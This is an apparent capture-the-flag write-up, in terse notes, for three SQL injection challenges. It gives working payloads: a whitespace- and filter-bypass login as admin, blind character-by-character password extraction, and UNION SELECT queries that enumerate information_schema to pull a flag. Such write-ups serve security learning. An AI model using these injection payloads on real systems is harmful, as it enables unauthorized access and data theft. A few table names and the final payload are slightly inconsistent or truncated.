

# sql injection

Account : stanleymusic

Writeup :

- Sqli 1

- Whitespace -> %0a
- = -> LIKE
- # -> %23 (comment)
- To login as admin we need to make id = 'admin'
- Simply make a Boolean function that will return true and also set id as admin
- ?password=%27%0aor%0a(id%0aLIKE%0a%27admin%27)%0a%23

- Sqli 2

- Guess password
- First use length(password) to find out the length of password (17)

- `17 – length('balqs{') = 10`
- Use `ascii(mid(password,start,length))` to guess the rest password
- `and -> &&(%26)`
- `get password = balqs{i_am_bind?}`
- Sqli 3
  - Get database -> table -> column
  - `' UNION SELECT schema_name,1 FROM information_schema.schemata limit 1,1#'`  
and get database = `flag_is_herer`
  - `' UNION SELECT table_name,1 FROM information_schema.tables WHERE table_schema LIKE 'flag_is_here' #'` and get table = `secret`
  - `' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name LIKE 'secret' #'` and get column = `flag`
  - `UNION SELECT column,1 FROM`

database.table and get the flag

- balqs{schema\_power}